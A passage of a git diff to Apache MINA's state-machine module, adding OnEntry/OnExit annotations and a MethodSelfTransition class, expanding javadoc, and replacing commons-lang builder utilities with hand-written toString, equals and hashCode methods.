CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.statemachine.annotation; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * Annotation used on methods to indicate that the method will be executed + * before entering a certain state + * + * @author Apache MINA Project + */ +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.METHOD) +public @interface OnEntry { + /** + * Sets the id of related state. + * + * @return The id of the related state + */ + String value(); +} diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/OnExit.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/OnExit.java new file mode 100644 index 0000000000..06edbff8b6 --- /dev/null +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/OnExit.java @@ -0,0 +1,42 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.statemachine.annotation; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * Annotation used on methods to indicate that the method will be executed + * before existing from a certain state + * + * @author Apache MINA Project + */ +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.METHOD) +public @interface OnExit { + /** + * Sets the id of related state. + * + * @return the id of the related state + */ + String value(); +} diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/State.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/State.java index 7c28dc734c..c6261901a0 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/State.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/State.java @@ -34,10 +34,13 @@ @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.FIELD) public @interface State { + /** The intial state */ public static final String ROOT = "__root__"; /** * Sets the id of the parent state. The default is no parent. + * + * @return the id of the parent state */ String value() default ROOT; } diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/Transition.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/Transition.java index 5256ac057c..8ccd6f36a0 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/Transition.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/Transition.java @@ -37,17 +37,22 @@ @Target(ElementType.METHOD) @TransitionAnnotation(Transitions.class) public @interface Transition { + /** The self transition */ public static final String SELF = "__self__"; /** * Specifies the ids of one or more events handled by the annotated method. If * not specified the handler method will be executed for any event. + * + * @return the ids of the handled events */ String[] on() default Event.WILDCARD_EVENT_ID; /** * The id of the state or states that this handler applies to. Must be * specified. + * + * @return the ids of the handled states */ String[] in(); @@ -55,6 +60,8 @@ * The id of the state the {@link StateMachine} should move to next after * executing the annotated method. If not specified the {@link StateMachine} * will remain in the same state. + * + * @return the id of the next state */ String next() default SELF; @@ -62,6 +69,8 @@ * The weight used to order handler annotations which match the same event * in the same state. Transitions with lower weight will be matched first. The * default weight is 0. + * + * @return the weight used to order the handler */ int weight() default 0; } diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/TransitionAnnotation.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/TransitionAnnotation.java index b1edba3873..9d4ca0e36a 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/TransitionAnnotation.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/TransitionAnnotation.java @@ -27,7 +27,7 @@ /** * Annotation used to mark other annotations as being transition annotations. - * The annotation used to group transition annotations must be given as + * The annotation used to group transition annotations must be given as * parameter. * * @author Apache MINA Project @@ -35,5 +35,10 @@ @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.ANNOTATION_TYPE) public @interface TransitionAnnotation { + /** + * The specific annotation class + * + * @return The annotated class + **/ Class value(); } diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/Transitions.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/Transitions.java index 0b4d10284a..9be3b6334f 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/Transitions.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/annotation/Transitions.java @@ -32,5 +32,8 @@ @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.METHOD) public @interface Transitions { + /** + * @return The list of {@link Transition}s + */ Transition[] value(); } diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/AbstractStateContext.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/AbstractStateContext.java index 03bd9e1608..9c7debea76 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/AbstractStateContext.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/AbstractStateContext.java @@ -22,7 +22,6 @@ import java.util.HashMap; import java.util.Map; -import org.apache.commons.lang.builder.ToStringBuilder; import org.apache.mina.statemachine.State; /** @@ -33,35 +32,60 @@ */ public abstract class AbstractStateContext implements StateContext { private State currentState = null; + private Map attributes = null; + /** + * {@inheritDoc} + */ + @Override public Object getAttribute(Object key) { return getAttributes().get(key); } + /** + * {@inheritDoc} + */ + @Override public State getCurrentState() { return currentState; } + /** + * {@inheritDoc} + */ + @Override public void setAttribute(Object key, Object value) { getAttributes().put(key, value); } + /** + * {@inheritDoc} + */ + @Override public void setCurrentState(State state) { currentState = state; } protected Map getAttributes() { if (attributes == null) { - attributes = new HashMap(); + attributes = new HashMap<>(); } return attributes; } + /** + * {@inheritDoc} + */ + @Override public String toString() { - return new ToStringBuilder(this) - .append("currentState", currentState) - .append("attributes", attributes) - .toString(); - } + StringBuilder sb = new StringBuilder(); + + sb.append("StateContext["); + sb.append("currentState=").append(currentState); + sb.append(",attributes=").append(attributes); + sb.append("]"); + + return sb.toString(); + } } diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/AbstractStateContextLookup.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/AbstractStateContextLookup.java index 5a8ad10c0a..19245ad920 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/AbstractStateContextLookup.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/AbstractStateContextLookup.java @@ -21,12 +21,12 @@ /** * Abstract {@link StateContextLookup} implementation. The {@link #lookup(Object[])} - * method will loop through the event arguments and call the {@link #supports(Class)} + * method will loop through the event arguments and call the supports(Class) * method for each of them. The first argument that this method returns - * true for will be passed to the abstract {@link #lookup(Object)} + * true for will be passed to the abstract lookup(Object) * method which should try to extract a {@link StateContext} from the argument. * If none is found a new {@link StateContext} will be created and stored in the - * event argument using the {@link #store(Object, StateContext)} method. + * event argument using the store(Object, StateContext) method. * * @author Apache MINA Project */ @@ -45,7 +45,7 @@ public AbstractStateContextLookup(StateContextFactory contextFactory) { } this.contextFactory = contextFactory; } - + public StateContext lookup(Object[] eventArgs) { for (int i = 0; i < eventArgs.length; i++) { if (supports(eventArgs[i].getClass())) { @@ -59,7 +59,7 @@ public StateContext lookup(Object[] eventArgs) { } return null; } - + /** * Extracts a {@link StateContext} from the specified event argument which * is an instance of a class {@link #supports(Class)} returns @@ -69,7 +69,7 @@ public StateContext lookup(Object[] eventArgs) { * @return the {@link StateContext}. */ protected abstract StateContext lookup(Object eventArg); - + /** * Stores a new {@link StateContext} in the specified event argument which * is an instance of a class {@link #supports(Class)} returns diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/IoSessionStateContextLookup.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/IoSessionStateContextLookup.java index ce2d83c21e..de1f31089a 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/IoSessionStateContextLookup.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/IoSessionStateContextLookup.java @@ -32,11 +32,11 @@ public class IoSessionStateContextLookup extends AbstractStateContextLookup { * The default name of the {@link IoSession} attribute used to store the * {@link StateContext} object. */ - public static final String DEFAULT_SESSION_ATTRIBUTE_NAME = - IoSessionStateContextLookup.class.getName() + ".stateContext"; - + public static final String DEFAULT_SESSION_ATTRIBUTE_NAME = IoSessionStateContextLookup.class.getName() + + ".stateContext"; + private final String sessionAttributeName; - + /** * Creates a new instance using a {@link DefaultStateContextFactory} to * create {@link StateContext} objects for new {@link IoSession}s. @@ -55,7 +55,7 @@ public IoSessionStateContextLookup() { public IoSessionStateContextLookup(String sessionAttributeName) { this(new DefaultStateContextFactory(), sessionAttributeName); } - + /** * Creates a new instance using the specified {@link StateContextFactory} to * create {@link StateContext} objects for new {@link IoSession}s. @@ -78,7 +78,7 @@ public IoSessionStateContextLookup(StateContextFactory contextFactory, String se super(contextFactory); this.sessionAttributeName = sessionAttributeName; } - + protected StateContext lookup(Object eventArg) { IoSession session = (IoSession) eventArg; return (StateContext) session.getAttribute(sessionAttributeName); diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/SingletonStateContextLookup.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/SingletonStateContextLookup.java index 0f8c3c4906..760545bcb0 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/SingletonStateContextLookup.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/SingletonStateContextLookup.java @@ -35,7 +35,7 @@ public class SingletonStateContextLookup implements StateContextLookup { public SingletonStateContextLookup() { context = new DefaultStateContext(); } - + /** * Creates a new instance which uses the specified {@link StateContextFactory} * to create the single instance. @@ -49,7 +49,7 @@ public SingletonStateContextLookup(StateContextFactory contextFactory) { } context = contextFactory.create(); } - + public StateContext lookup(Object[] eventArgs) { return context; } diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/StateContext.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/StateContext.java index b760b8b8c3..49fa0dd578 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/StateContext.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/StateContext.java @@ -33,9 +33,7 @@ */ public interface StateContext { /** - * Returns the current {@link State}. This is only meant for internal use. - * - * @return the current {@link State}. + * @return the current {@link State}. This is only meant for internal use. */ State getCurrentState(); @@ -46,7 +44,7 @@ public interface StateContext { * @param state the new current {@link State}. */ void setCurrentState(State state); - + /** * Returns the value of the attribute with the specified key or * nullif not found. diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/StateContextLookup.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/StateContextLookup.java index 89d63cb7fe..345c36cac9 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/StateContextLookup.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/context/StateContextLookup.java @@ -33,6 +33,9 @@ public interface StateContextLookup { * must create a new {@link StateContext} if a compatible object is in * the arguments and the next time that same object is passed to this * method the same {@link StateContext} should be returned. + * + * @param eventArgs The arguments we are looking for + * @return The StateContext we are looking for */ StateContext lookup(Object[] eventArgs); } diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/DefaultEventFactory.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/DefaultEventFactory.java index d613eadf0b..b7cd812f1b 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/DefaultEventFactory.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/DefaultEventFactory.java @@ -30,9 +30,11 @@ * @author Apache MINA Project */ public class DefaultEventFactory implements EventFactory { - + /** + * {@inheritDoc} + */ + @Override public Event create(StateContext context, Method method, Object[] arguments) { return new Event(method.getName(), context, arguments); } - } diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/Event.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/Event.java index 357916eadf..b88eab766f 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/Event.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/Event.java @@ -19,7 +19,6 @@ */ package org.apache.mina.statemachine.event; -import org.apache.commons.lang.builder.ToStringBuilder; import org.apache.mina.statemachine.context.StateContext; /** @@ -30,12 +29,15 @@ * @author Apache MINA Project */ public class Event { + /** The wildcard event */ public static final String WILDCARD_EVENT_ID = "*"; - + private final Object id; + private final StateContext context; + private final Object[] arguments; - + /** * Creates a new {@link Event} with the specified id and no arguments. * @@ -57,50 +59,72 @@ public Event(Object id, StateContext context, Object[] arguments) { if (id == null) { throw new IllegalArgumentException("id"); } + if (context == null) { throw new IllegalArgumentException("context"); } + if (arguments == null) { throw new IllegalArgumentException("arguments"); } + this.id = id; this.context = context; this.arguments = arguments; } /** - * Returns the {@link StateContext} this {@link Event} was triggered for. - * - * @return the {@link StateContext}. + * @return the {@link StateContext} this {@link Event} was triggered for. */ public StateContext getContext() { return context; } /** - * Returns the id of this {@link Event}. - * - * @return the id. + * @return the id of this {@link Event}. */ public Object getId() { return id; } /** - * Returns the arguments of this {@link Event}. - * - * @return the arguments. Returns an empty array if this {@link Event} has + * @return the arguments of this {@link Event}. @return an empty array if this {@link Event} has * no arguments. */ public Object[] getArguments() { return arguments; } - + + @Override public String toString() { - return new ToStringBuilder(this) - .append("id", id) - .append("context", context) - .append("arguments", arguments) - .toString(); + StringBuilder sb = new StringBuilder(); + + sb.append("Event["); + sb.append("id=").append(id); + sb.append(",context=").append(context); + sb.append(",arguments="); + + if (arguments != null) { + sb.append('{'); + boolean isFirst = true; + + for (Object argument:arguments) { + if (isFirst) { + isFirst = false; + } else { + sb.append(','); + } + + sb.append(argument); + } + + sb.append('}'); + } else { + sb.append("null"); + } + + sb.append("]"); + + return sb.toString(); } } diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/EventArgumentsInterceptor.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/EventArgumentsInterceptor.java index fb1ce67e2d..3aeb261d02 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/EventArgumentsInterceptor.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/EventArgumentsInterceptor.java @@ -38,5 +38,4 @@ public interface EventArgumentsInterceptor { * modification is needed. */ Object[] modify(Object[] arguments); - } diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/EventFactory.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/EventFactory.java index 1bb8a4d791..4557c3b02c 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/EventFactory.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/EventFactory.java @@ -25,20 +25,19 @@ import org.apache.mina.statemachine.context.StateContext; /** - * Used by {@link StateMachineProxyBuilder} to create {@link Event} objects when + * Used by {@link StateMachineProxyBuilder} to create {@link Event} objects when * methods are invoked on the proxy. * * @author Apache MINA Project */ -public interface EventFactory -{ +public interface EventFactory { /** - * Creates a new {@link Event} from the specified method and method + * Creates a new {@link Event} from the specified method and method * arguments. * * @param context the current {@link StateContext}. * @param method the method being invoked. - * @param args the method arguments. + * @param arguments the method arguments. * @return the {@link Event} object. */ Event create(StateContext context, Method method, Object[] arguments); diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/IoFilterEvents.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/IoFilterEvents.java index ab294adad0..8a4111700a 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/IoFilterEvents.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/IoFilterEvents.java @@ -29,24 +29,48 @@ * @author Apache MINA Project */ public enum IoFilterEvents { + /** The wildcard event */ ANY(Event.WILDCARD_EVENT_ID), - SESSION_CREATED("sessionCreated"), - SESSION_OPENED("sessionOpened"), - SESSION_CLOSED("sessionClosed"), - SESSION_IDLE("sessionIdle"), - MESSAGE_RECEIVED("messageReceived"), - MESSAGE_SENT("messageSent"), - EXCEPTION_CAUGHT("exceptionCaught"), - CLOSE("filterClose"), - WRITE("filterWrite"), + + /** The Session Created event */ + SESSION_CREATED("sessionCreated"), + + /** The Session Opened event */ + SESSION_OPENED("sessionOpened"), + + /** The Session Closed event */ + SESSION_CLOSED("sessionClosed"), + + /** The Session Idle event */ + SESSION_IDLE("sessionIdle"), + + /** The Message Received event */ + MESSAGE_RECEIVED("messageReceived"), + + /** The Message Sent event */ + MESSAGE_SENT("messageSent"), + + /** The Exception Caught event */ + EXCEPTION_CAUGHT("exceptionCaught"), + + /** The Close event */ + CLOSE("filterClose"), + + /** The Write event */ + WRITE("filterWrite"), + + /** The InputClosed event */ + INPUT_CLOSED("inputClosed"), + + /** The Set Traffic Mask event */ SET_TRAFFIC_MASK("filterSetTrafficMask"); private final String value; - + private IoFilterEvents(String value) { this.value = value; } - + @Override public String toString() { return value; diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/IoHandlerEvents.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/IoHandlerEvents.java index c3104049e8..fa2d1af01a 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/IoHandlerEvents.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/IoHandlerEvents.java @@ -29,21 +29,39 @@ * @author Apache MINA Project */ public enum IoHandlerEvents { + /** The wildcard event */ ANY(Event.WILDCARD_EVENT_ID), - SESSION_CREATED("sessionCreated"), - SESSION_OPENED("sessionOpened"), - SESSION_CLOSED("sessionClosed"), - SESSION_IDLE("sessionIdle"), - MESSAGE_RECEIVED("messageReceived"), - MESSAGE_SENT("messageSent"), + + /** The Session Created event */ + SESSION_CREATED("sessionCreated"), + + /** The Session Opened event */ + SESSION_OPENED("sessionOpened"), + + /** The Session Opened event */ + SESSION_CLOSED("sessionClosed"), + + /** The Session Idle event */ + SESSION_IDLE("sessionIdle"), + + /** The Message Received event */ + MESSAGE_RECEIVED("messageReceived"), + + /** The Message Sent event */ + MESSAGE_SENT("messageSent"), + + /** The InputClosed event */ + INPUT_CLOSED("inputClosed"), + + /** The Exception Caught event */ EXCEPTION_CAUGHT("exceptionCaught"); private final String value; - + private IoHandlerEvents(String value) { this.value = value; } - + @Override public String toString() { return value; diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/UnhandledEventException.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/UnhandledEventException.java index 2beb69f5b4..1839d32db6 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/UnhandledEventException.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/event/UnhandledEventException.java @@ -26,18 +26,21 @@ */ public class UnhandledEventException extends RuntimeException { private static final long serialVersionUID = -717373229954175430L; - + private final Event event; + /** + * Creates a new UnhandledEventException instance + * + * @param event The unhandled event + */ public UnhandledEventException(Event event) { super("Unhandled event: " + event); this.event = event; } /** - * Returns the {@link Event} which couldn't be handled. - * - * @return the {@link Event}. + * @return the {@link Event} which couldn't be handled. */ public Event getEvent() { return event; diff --git a/mina-core/src/main/java/org/apache/mina/proxy/utils/MD4Provider.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/AbstractSelfTransition.java similarity index 51% rename from mina-core/src/main/java/org/apache/mina/proxy/utils/MD4Provider.java rename to mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/AbstractSelfTransition.java index 508960d89d..687921072a 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/utils/MD4Provider.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/AbstractSelfTransition.java @@ -17,44 +17,40 @@ * under the License. * */ -package org.apache.mina.proxy.utils; +package org.apache.mina.statemachine.transition; -import java.security.Provider; +import org.apache.mina.statemachine.State; +import org.apache.mina.statemachine.context.StateContext; /** - * MD4Provider.java - A security provider that only provides a MD4 implementation. - * + * Abstract {@link SelfTransition} implementation. + * * @author Apache MINA Project - * @since MINA 2.0.0-M3 */ -public class MD4Provider extends Provider { - - /** - * The serial version UID. - */ - private final static long serialVersionUID = -1616816866935565456L; +public abstract class AbstractSelfTransition implements SelfTransition { /** - * Provider name. + * Creates a new instance */ - public final static String PROVIDER_NAME = "MINA"; + public AbstractSelfTransition() { - /** - * Provider version. - */ - public final static double VERSION = 1.00; + } /** - * Provider information. + * Executes this {@link SelfTransition}. + * + * @param stateContext the context in which the execution should occur + * @param state the current state + * @return true if the {@link SelfTransition} has been executed + * successfully */ - public final static String INFO = "MINA MD4 Provider v" + VERSION; + protected abstract boolean doExecute(StateContext stateContext, State state); /** - * Default constructor that registers {@link MD4} as the Service Provider - * Interface (SPI) of the MD4 message digest algorithm. + * {@inheritDoc} */ - public MD4Provider() { - super(PROVIDER_NAME, VERSION, INFO); - put("MessageDigest.MD4", MD4.class.getName()); + public boolean execute(StateContext stateContext, State state) { + + return doExecute(stateContext, state); } } diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/AbstractTransition.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/AbstractTransition.java index 6c76495d2e..eb5acb2916 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/AbstractTransition.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/AbstractTransition.java @@ -19,9 +19,6 @@ */ package org.apache.mina.statemachine.transition; -import org.apache.commons.lang.builder.EqualsBuilder; -import org.apache.commons.lang.builder.HashCodeBuilder; -import org.apache.commons.lang.builder.ToStringBuilder; import org.apache.mina.statemachine.State; import org.apache.mina.statemachine.StateMachine; import org.apache.mina.statemachine.event.Event; @@ -35,8 +32,10 @@ * @author Apache MINA Project */ public abstract class AbstractTransition implements Transition { + /** The accepted event ID */ private final Object eventId; + /** The next state, if any */ private final State nextState; /** @@ -61,10 +60,38 @@ public AbstractTransition(Object eventId, State nextState) { this.nextState = nextState; } + /** + * Creates a new instance with the specified {@link State} as next state + * and for the wild card {@link Event} id. + * + * @param nextState the next {@link State}. + */ + public AbstractTransition(State nextState) { + this.eventId = Event.WILDCARD_EVENT_ID; + this.nextState = nextState; + } + + /** + * Creates a new instance with a reflexive {@link State} as next state + * and for the wild card {@link Event} id. + */ + public AbstractTransition() { + this.eventId = Event.WILDCARD_EVENT_ID; + this.nextState = null; + } + + /** + * {@inheritDoc} + */ + @Override public State getNextState() { return nextState; } + /** + * {@inheritDoc} + */ + @Override public boolean execute(Event event) { if (!eventId.equals(Event.WILDCARD_EVENT_ID) && !eventId.equals(event.getId())) { return false; @@ -84,29 +111,59 @@ public boolean execute(Event event) { * next {@link State}. false otherwise. */ protected abstract boolean doExecute(Event event); - + + @Override public boolean equals(Object o) { - if (!(o instanceof AbstractTransition)) { - return false; - } if (o == this) { return true; } + + if (!(o instanceof AbstractTransition)) { + return false; + } + AbstractTransition that = (AbstractTransition) o; - return new EqualsBuilder() - .append(eventId, that.eventId) - .append(nextState, that.nextState) - .isEquals(); + + if (eventId != null) { + if (!eventId.equals( that.eventId )) { + return false; + } + } else { + if (that.eventId != null) { + return false; + } + } + + + if (nextState != null) { + return nextState.equals( that.nextState ); + } else { + return that.nextState == null; + } } + @Override public int hashCode() { - return new HashCodeBuilder(11, 31).append(eventId).append(nextState).toHashCode(); + int h = 17; + + if ( eventId != null) { + h = h*37 + eventId.hashCode(); + } + + if (nextState != null) { + h = h*17 + nextState.hashCode(); + } + + return h; } + @Override public String toString() { - return new ToStringBuilder(this) - .append("eventId", eventId) - .append("nextState", nextState) - .toString(); + StringBuilder sb = new StringBuilder(); + + sb.append("eventId=").append(eventId); + sb.append(",nextState=").append(nextState); + + return sb.toString(); } } diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/AmbiguousMethodException.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/AmbiguousMethodException.java index 244d15ff24..23df15008b 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/AmbiguousMethodException.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/AmbiguousMethodException.java @@ -37,5 +37,4 @@ public class AmbiguousMethodException extends RuntimeException { public AmbiguousMethodException(String methodName) { super(methodName); } - } diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/MethodSelfTransition.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/MethodSelfTransition.java new file mode 100644 index 0000000000..cd7b77e545 --- /dev/null +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/MethodSelfTransition.java @@ -0,0 +1,155 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.statemachine.transition; + +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.Arrays; + +import org.apache.mina.statemachine.State; +import org.apache.mina.statemachine.StateMachine; +import org.apache.mina.statemachine.context.StateContext; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * {@link SelfTransition} which invokes a {@link Method}. The {@link Method} can + * have zero or any number of StateContext and State regarding order + *

    + * Normally you wouldn't create instances of this class directly but rather use + * the {@link SelfTransition} annotation to define the methods which should be + * used as transitions in your state machine and then let + * {@link org.apache.mina.statemachine.StateMachineFactory} create a + * {@link StateMachine} for you. + *

    + * + * @author Apache MINA Project + */ +public class MethodSelfTransition extends AbstractSelfTransition { + private static final Logger LOGGER = LoggerFactory.getLogger(MethodTransition.class); + + private Method method; + + private final Object target; + + private static final Object[] EMPTY_ARGUMENTS = new Object[0]; + + /** + * Creates a new MethodSelfTransition instance + * + * @param method The method to invoke + * @param target The target object + */ + public MethodSelfTransition(Method method, Object target) { + super(); + this.method = method; + this.target = target; + } + + /** + * Creates a new instance + * + * @param methodName the target method. + * @param target the target object. + */ + public MethodSelfTransition(String methodName, Object target) { + + this.target = target; + + Method[] candidates = target.getClass().getMethods(); + Method result = null; + + for (Method candidate : candidates) { + if (candidate.getName().equals(methodName)) { + if (result != null) { + throw new AmbiguousMethodException(methodName); + } + + result = candidate; + } + } + + if (result == null) { + throw new NoSuchMethodException(methodName); + } + + this.method = result; + + } + + /** + * @return the target {@link Method}. + */ + public Method getMethod() { + return method; + } + + /** + * {@inheritDoc} + */ + @Override + public boolean doExecute(StateContext stateContext, State state) { + Class[] types = method.getParameterTypes(); + + if (types.length == 0) { + invokeMethod(EMPTY_ARGUMENTS); + + return true; + } + + if (types.length > 2) { + return false; + } + + Object[] args = new Object[types.length]; + + int i = 0; + + if (types[i].isAssignableFrom(StateContext.class)) { + args[i++] = stateContext; + } + + if ((i < types.length) && types[i].isAssignableFrom(State.class)) { + args[i++] = state; + } + + invokeMethod(args); + + return true; + } + + private void invokeMethod(Object[] arguments) { + try { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Executing method " + method + " with arguments " + Arrays.asList(arguments)); + } + + method.invoke(target, arguments); + } catch (InvocationTargetException ite) { + if (ite.getCause() instanceof RuntimeException) { + throw (RuntimeException) ite.getCause(); + } + + throw new MethodInvocationException(method, ite); + } catch (IllegalAccessException iae) { + throw new MethodInvocationException(method, iae); + } + } +} diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/MethodTransition.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/MethodTransition.java index 9fbf79ee13..ae0597c578 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/MethodTransition.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/MethodTransition.java @@ -23,13 +23,9 @@ import java.lang.reflect.Method; import java.util.Arrays; -import org.apache.commons.lang.builder.EqualsBuilder; -import org.apache.commons.lang.builder.HashCodeBuilder; -import org.apache.commons.lang.builder.ToStringBuilder; import org.apache.mina.statemachine.State; import org.apache.mina.statemachine.StateMachine; import org.apache.mina.statemachine.StateMachineFactory; -import org.apache.mina.statemachine.annotation.Transition; import org.apache.mina.statemachine.context.StateContext; import org.apache.mina.statemachine.event.Event; import org.slf4j.Logger; @@ -58,10 +54,12 @@ * @author Apache MINA Project */ public class MethodTransition extends AbstractTransition { - private static final Logger LOGGER = LoggerFactory.getLogger( MethodTransition.class ); + private static final Logger LOGGER = LoggerFactory.getLogger(MethodTransition.class); + private static final Object[] EMPTY_ARGUMENTS = new Object[0]; - + private final Method method; + private final Object target; /** @@ -90,7 +88,7 @@ public MethodTransition(Object eventId, State nextState, Method method, Object t public MethodTransition(Object eventId, Method method, Object target) { this(eventId, null, method, target); } - + /** * Creates a new instance with the specified {@link State} as next state * and for the specified {@link Event} id. The target {@link Method} will @@ -108,7 +106,7 @@ public MethodTransition(Object eventId, Method method, Object target) { public MethodTransition(Object eventId, State nextState, Object target) { this(eventId, nextState, eventId.toString(), target); } - + /** * Creates a new instance which will loopback to the same {@link State} * for the specified {@link Event} id. The target {@link Method} will @@ -140,7 +138,7 @@ public MethodTransition(Object eventId, Object target) 